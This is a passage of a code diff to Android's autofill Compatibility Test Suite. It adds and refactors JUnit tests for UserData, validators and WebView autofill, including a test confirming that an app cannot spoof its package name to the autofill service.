+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.UserData;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.google.common.base.Strings;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UserDataTest {
+
+ private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+ private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+ + Strings.repeat("?", UserData.getMaxValueLength());
+ private final String mRemoteId = "id1";
+ private final String mRemoteId2 = "id2";
+ private final String mValue = mShortValue + "-1";
+ private final String mValue2 = mShortValue + "-2";
+ private final UserData.Builder mBuilder = new UserData.Builder(mRemoteId, mValue);
+
+ @Test
+ public void testBuilder_invalid() {
+ assertThrows(NullPointerException.class,
+ () -> new UserData.Builder(mRemoteId, null));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, ""));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, mShortValue));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, mLongValue));
+ assertThrows(NullPointerException.class,
+ () -> new UserData.Builder(null, mValue));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder("", mValue));
+ }
+
+ @Test
+ public void testAdd_invalid() {
+ assertThrows(NullPointerException.class, () -> mBuilder.add(mRemoteId, null));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, ""));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mShortValue));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mLongValue));
+ assertThrows(NullPointerException.class, () -> mBuilder.add(null, mValue));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mValue));
+ }
+
+ @Test
+ public void testAdd_duplicatedId() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue2));
+ }
+
+ @Test
+ public void testAdd_maximumReached() {
+ // Must start from 1 because first is added on builder
+ for (int i = 1; i < UserData.getMaxFieldClassificationIdsSize() - 1; i++) {
+ mBuilder.add("ID" + i, mShortValue.toUpperCase() + i);
+ }
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue));
+ }
+
+ @Test
+ public void testBuild_valid() {
+ assertThat(mBuilder.build()).isNotNull();
+ }
+
+ @Test
+ public void testNoMoreInteractionsAfterBuild() {
+ testBuild_valid();
+
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId2, mValue));
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
index 4a944ee..5214748 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -21,11 +21,14 @@
import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
+import android.service.autofill.InternalValidator;
import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.Validator;
-import android.service.autofill.Validators;
-import android.support.annotation.NonNull;
+import android.service.autofill.ValueFinder;
import android.view.View;
import android.view.autofill.AutofillId;
@@ -34,11 +37,9 @@
import org.junit.Rule;
import org.junit.Test;
-import java.util.function.BiFunction;
-import java.util.regex.Pattern;
-
-// TODO: this class should only have 2 integration tests (for showing or not showing the UI); all
-// other tests should be moved to ValidatorsTest.
+/**
+ * Simple integration test to verify that the UI is only shown if the validator passes.
+ */
public class ValidatorTest extends AutoFillServiceTestCase {
@Rule
public final AutofillActivityTestRule<LoginActivity> mActivityRule =
@@ -56,24 +57,30 @@
WelcomeActivity.finishIt();
}
- /**
- * Base test
- *
- * @param validatorBuilder method to build a validator
- * @param willSaveBeShown Whether the save pop-up will be shown
- */
- private void testValidator(
- @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
- boolean willSaveBeShown) throws Exception {
+ @Test
+ public void testShowUiWhenValidatorPass() throws Exception {
+ integrationTest(true);
+ }
+
+ @Test
+ public void testDontShowUiWhenValidatorFails() throws Exception {
+ integrationTest(false);
+ }
+
+ private void integrationTest(boolean willSaveBeShown) throws Exception {
enableService();
- AutofillId usernameId = mActivity.getUsername().getAutofillId();
- AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+
+ final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
+ final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
+ // Sanity check to make sure the validator is properly configured
+ assertValidator(validator, usernameId, username, willSaveBeShown);
// Set response
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
- .setValidator(validatorBuilder.apply(usernameId, passwordId))
+ .setValidator(validator)
.build());
// Trigger auto-fill
@@ -83,8 +90,8 @@
sReplier.getNextFillRequest();
// Trigger save.
- mActivity.onUsername((v) -> v.setText("7992739871-3"));
- mActivity.onPassword((v) -> v.setText("passwd"));
+ mActivity.onUsername((v) -> v.setText(username));
+ mActivity.onPassword((v) -> v.setText("pass"));
mActivity.tapLogin();
if (willSaveBeShown) {
@@ -97,45 +104,10 @@
assertNoDanglingSessions();
}
- @Test
- public void checkForInvalidField() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new LuhnChecksumValidator(new AutofillId(-1)),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkBoth() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.and(
- new LuhnChecksumValidator(usernameId),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkEither1() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("7.*")),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkEither2() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("invalid")),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkBothButFail() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.and(
- new RegexValidator(usernameId, Pattern.compile("7.*")),
- new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
- }
-
- @Test
- public void checkEitherButFail() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("invalid")),
- new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+ private void assertValidator(InternalValidator validator, AutofillId id, String text,
+ boolean valid) {
+ final ValueFinder valueFinder = mock(ValueFinder.class);
+ doReturn(text).when(valueFinder).findByAutofillId(id);
+ assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
index 1401949..6c7979d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
@@ -16,11 +16,15 @@
package android.autofillservice.cts;
+import static android.service.autofill.Validators.and;
import static android.service.autofill.Validators.not;
+import static android.service.autofill.Validators.or;
import static com.google.common.truth.Truth.assertThat;
-import static org.mockito.Mockito.when;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
import static org.testng.Assert.assertThrows;
import android.service.autofill.InternalValidator;
@@ -36,8 +40,85 @@
public class ValidatorsTest extends AutoFillServiceTestCase {
@Mock private Validator mInvalidValidator;
- @Mock private InternalValidator mValidValidator;
@Mock private ValueFinder mValueFinder;
+ @Mock private InternalValidator mValidValidator;
+ @Mock private InternalValidator mValidValidator2;
+
+ @Test
+ public void testAnd_null() {
+ assertThrows(NullPointerException.class, () -> and((Validator) null));
+ assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
+ assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
+ }
+
+ @Test
+ public void testAnd_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
+ }
+
+ @Test
+ public void testAnd_firstFailed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ verify(mValidValidator2, never()).isValid(mValueFinder);
+ }
+
+ @Test
+ public void testAnd_firstPassedSecondFailed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ }
+
+ @Test
+ public void testAnd_AllPassed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ }
+
+ @Test
+ public void testOr_null() {
+ assertThrows(NullPointerException.class, () -> or((Validator) null));
+ assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
+ assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
+ }
+
+ @Test
+ public void testOr_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
+ }
+
+ @Test
+ public void testOr_AllFailed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ }
+
+ @Test
+ public void testOr_firstPassed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ verify(mValidValidator2, never()).isValid(mValueFinder);
+ }
+
+ @Test
+ public void testOr_secondPassed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ }
@Test
public void testNot_null() {
@@ -51,14 +132,14 @@
@Test
public void testNot_falseToTrue() {
- when(mValidValidator.isValid(mValueFinder)).thenReturn(false);
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
assertThat(notValidator.isValid(mValueFinder)).isTrue();
}
@Test
public void testNot_trueToFalse() {
- when(mValidValidator.isValid(mValueFinder)).thenReturn(true);
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
assertThat(notValidator.isValid(mValueFinder)).isFalse();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 7adc10c..f5401af 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -35,6 +35,7 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.VirtualContainerView.Line;
+import android.content.ComponentName;
import android.graphics.Rect;
import android.os.SystemClock;
import android.service.autofill.SaveInfo;
@@ -411,6 +412,30 @@
sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
}
+ @Test
+ public void testAppCannotFakePackageName() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.acceptRequestsFromPackage("MALICIOUS");
+ mActivity.mCustomView.fakePackageName(new ComponentName("MALICIOUS", "AM.I"));
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.mUsername.changeFocus(true);
+ assertDatasetShown(mActivity.mUsername, "The Dude");
+
+ // Make sure package name was sanitized.
+ final FillRequest request = sReplier.getNextFillRequest();
+ assertThat(request.structure.getActivityComponent().getPackageName())
+ .isEqualTo(mPackageName);
+ }
+
/**
* Asserts the dataset picker is properly displayed in a give line.
*/
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 205fcae..d8b1c47 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -20,7 +20,9 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.app.assist.AssistStructure;
import android.app.assist.AssistStructure.ViewNode;
+import android.content.ComponentName;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -72,6 +74,7 @@
private int mUnfocusedColor;
private boolean mSync = true;
private boolean mOverrideDispatchProvideAutofillStructure = false;
+ private ComponentName mFackedComponentName;
public VirtualContainerView(Context context, AttributeSet attrs) {
super(context, attrs);
@@ -192,6 +195,18 @@
Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
super.onProvideAutofillVirtualStructure(structure, flags);
+ if (mFackedComponentName != null) {
+ Log.d(TAG, "Faking package name to " + mFackedComponentName);
+ try {
+ final AssistStructure assistStructure = Helper.getField(structure, "mAssist");
+ if (assistStructure != null) {
+ Helper.setField(assistStructure, "mActivityComponent", mFackedComponentName);
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Could not fake package name to " + mFackedComponentName, e);
+ }
+ }
+
final String packageName = getContext().getPackageName();
structure.setClassName(getClass().getName());
final int childrenSize = mItems.size();
@@ -254,6 +269,11 @@
mSync = sync;
}
+ void fakePackageName(ComponentName name) {
+ mFackedComponentName = name;
+ }
+
+
void setOverrideDispatchProvideAutofillStructure(boolean flag) {
mOverrideDispatchProvideAutofillStructure = flag;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index e845fc4..331c3d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -18,11 +18,13 @@
import android.os.Bundle;
import android.support.test.uiautomator.UiObject2;
import android.util.Log;
+import android.view.View;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.EditText;
+import android.widget.LinearLayout;
import java.io.IOException;
@@ -33,10 +35,21 @@
private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
static final String ID_WEBVIEW = "webview";
+ static final String HTML_NAME_USERNAME = "username";
+ static final String HTML_NAME_PASSWORD = "password";
+
+ static final String ID_OUTSIDE1 = "outside1";
+ static final String ID_OUTSIDE2 = "outside2";
+
// TODO(b/69557967): WebView currently does not report the nodes content description properties.
private static final boolean CONTENT_DESCRIPTION_SUPPORTED = false;
- MyWebView mWebView;
+ private MyWebView mWebView;
+
+ private LinearLayout mOutsideContainer1;
+ private LinearLayout mOutsideContainer2;
+ EditText mOutside1;
+ EditText mOutside2;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -67,7 +80,23 @@
}
}
});
- mWebView.loadUrl(FAKE_URL);
+
+ mOutsideContainer1 = findViewById(R.id.outsideContainer1);
+ mOutsideContainer2 = findViewById(R.id.outsideContainer2);
+ mOutside1 = findViewById(R.id.outside1);
+ mOutside2 = findViewById(R.id.outside2);
+ }
+
+ public MyWebView loadWebView() {
+ syncRunOnUiThread(() -> mWebView.loadUrl(FAKE_URL));
+ return mWebView;
+ }
+
+ public void loadOutsideViews() {
+ syncRunOnUiThread(() -> {
+ mOutsideContainer1.setVisibility(View.VISIBLE);
+ mOutsideContainer2.setVisibility(View.VISIBLE);
+ });
}
public UiObject2 getUsernameLabel(UiBot uiBot) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 68af3472..6eab0f3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -16,6 +16,10 @@
package android.autofillservice.cts;
import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE1;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE2;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
import static com.google.common.truth.Truth.assertThat;
@@ -81,12 +85,15 @@
// Set service.
enableService();
+ // Load WebView
+ final MyWebView myWebView = mActivity.loadWebView();
+
// Set expectations.
- mActivity.mWebView.expectAutofill("dude", "sweet");
+ myWebView.expectAutofill("dude", "sweet");
final MyAutofillCallback callback = mActivity.registerCallback();
sReplier.addResponse(new CannedDataset.Builder()
- .setField("username", "dude")
- .setField("password", "sweet")
+ .setField(HTML_NAME_USERNAME, "dude")
+ .setField(HTML_NAME_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build());
@@ -96,19 +103,19 @@
sUiBot.assertDatasets("The Dude");
// Change focus around.
- final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
mActivity.getUsernameLabel(sUiBot).click();
- callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
sUiBot.assertNoDatasets();
mActivity.getPasswordInput(sUiBot).click();
- final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
// Now Autofill it.
sUiBot.selectDataset(datasetPicker, "The Dude");
- mActivity.mWebView.assertAutofilled();
+ myWebView.assertAutofilled();
sUiBot.assertNoDatasets();
- callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
// Make sure screen was autofilled.
assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -120,21 +127,14 @@
// Assert structure passed to service.
try {
- final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
- // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
- // be inside HtmlInfo, but Chromium 61 does not implement that.
- if (webViewNode.getClassName().equals("android.webkit.WebView")) {
- final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
- Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
- } else {
- assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
- assertThat(webViewNode.getHtmlInfo()).isNull();
- }
+ final ViewNode webViewNode =
+ Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+ assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
assertThat(webViewNode.getWebScheme()).isEqualTo("https");
final ViewNode usernameNode =
- Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
Helper.assertTextIsSanitized(usernameNode);
final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
@@ -144,7 +144,7 @@
assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
final ViewNode passwordNode =
- Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
Helper.assertTextIsSanitized(passwordNode);
final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
@@ -164,9 +164,13 @@
// Set service.
enableService();
+ // Load WebView
+ mActivity.loadWebView();
+
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
.build());
// Trigger autofill.
@@ -193,8 +197,10 @@
// Assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
- final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
- final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
if (INJECT_EVENTS) {
Helper.assertTextAndValue(usernameNode, "u");
Helper.assertTextAndValue(passwordNode, "p");
@@ -209,14 +215,18 @@
// Set service.
enableService();
+ // Load WebView
+ final MyWebView myWebView = mActivity.loadWebView();
+
// Set expectations.
final MyAutofillCallback callback = mActivity.registerCallback();
- mActivity.mWebView.expectAutofill("dude", "sweet");
+ myWebView.expectAutofill("dude", "sweet");
sReplier.addResponse(new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
.addDataset(new CannedDataset.Builder()
- .setField("username", "dude")
- .setField("password", "sweet")
+ .setField(HTML_NAME_USERNAME, "dude")
+ .setField(HTML_NAME_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build())
.build());
@@ -225,22 +235,24 @@
mActivity.getUsernameInput(sUiBot).click();
final FillRequest fillRequest = sReplier.getNextFillRequest();
sUiBot.assertDatasets("The Dude");
- final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
// Assert structure passed to service.
- final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_USERNAME);
Helper.assertTextIsSanitized(usernameNode);
assertThat(usernameNode.isFocused()).isTrue();
assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
- final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_PASSWORD);
Helper.assertTextIsSanitized(passwordNode);
assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
assertThat(passwordNode.isFocused()).isFalse();
// Autofill it.
sUiBot.selectDataset("The Dude");
- mActivity.mWebView.assertAutofilled();
- callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ myWebView.assertAutofilled();
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
// Make sure screen was autofilled.
assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -267,8 +279,10 @@
// Assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
- final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
- final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
if (INJECT_EVENTS) {
Helper.assertTextAndValue(usernameNode2, "dudeu");
Helper.assertTextAndValue(passwordNode2, "sweetp");
@@ -277,4 +291,285 @@
Helper.assertTextAndValue(passwordNode2, "SWEET");
}
}
+
+ @Test
+ public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
+ // Set service.
+ enableService();
+
+ // Load views
+ final MyWebView myWebView = mActivity.loadWebView();
+ mActivity.loadOutsideViews();
+
+ // Set expectations.
+ myWebView.expectAutofill("dude", "sweet");
+ final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+ mActivity.mOutside1, "duder");
+ final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+ mActivity.mOutside2, "sweeter");
+ mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+ mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+ .addDataset(new CannedDataset.Builder()
+ .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+ .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+ .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+ .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("USER");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ // Assert structure passed to service.
+ final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_USERNAME);
+ Helper.assertTextIsSanitized(usernameFillNode);
+ assertThat(usernameFillNode.isFocused()).isTrue();
+ assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_PASSWORD);
+ Helper.assertTextIsSanitized(passwordFillNode);
+ assertThat(passwordFillNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordFillNode.isFocused()).isFalse();
+
+ final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextIsSanitized(outside1FillNode);
+ final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextIsSanitized(outside2FillNode);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ mActivity.getPasswordInput(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("PASS");
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Autofill it.
+ sUiBot.selectDataset(datasetPicker, "OUT2");
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+
+ myWebView.assertAutofilled();
+ outside1Watcher.assertAutoFilled();
+ outside2Watcher.assertAutoFilled();
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.runOnUiThread(() -> {
+ mActivity.mOutside1.setText("DUDER");
+ mActivity.mOutside2.setText("SWEETER");
+ });
+
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
